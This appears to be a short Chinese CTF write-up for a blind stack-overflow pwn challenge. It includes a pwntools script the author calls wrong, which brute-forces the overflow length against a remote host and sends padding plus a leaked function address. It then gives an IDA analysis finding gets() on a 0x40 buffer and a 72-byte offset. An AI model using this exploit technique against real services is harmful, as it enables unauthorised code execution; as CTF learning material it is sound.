没有附件,看来是盲打,先暴力枚举判断栈溢出长度。
但是我不太会。
错误脚本:
from pwn import *
r = remote('111.198.29.45',32964)
flag = p64(int(r.recvuntil(">").split(":")[1].strip("\n>"),16))
def getbufferflow_length():
i = 1
while 1:
try:
sh = remote('111.198.29.45',32964)
sh.recvuntil('WOW:\n')
sh.send(i * 'a')
output = sh.recv()
sh.close()
if not output.startswith('>'):
return i - 1
else:
i += 1
except EOFError:
sh.close()
return i - 1
length = getbufferflow_length()
r.sendline("A"*length + flag)
print r.recvline()
网上找原题
拖进ida
由此可以看出,题目是打印出了sub_40060D的地址。我们需要覆盖到sub_40060D处,来获得flag。
看到了熟悉的gets函数,我们需要输入v5,通常一看到这个函数就八成有缓冲区溢出漏洞,可以看出程序为v5开辟了40H的存储空间,所以输入长度超过40H即可造成溢出。0x40+8=72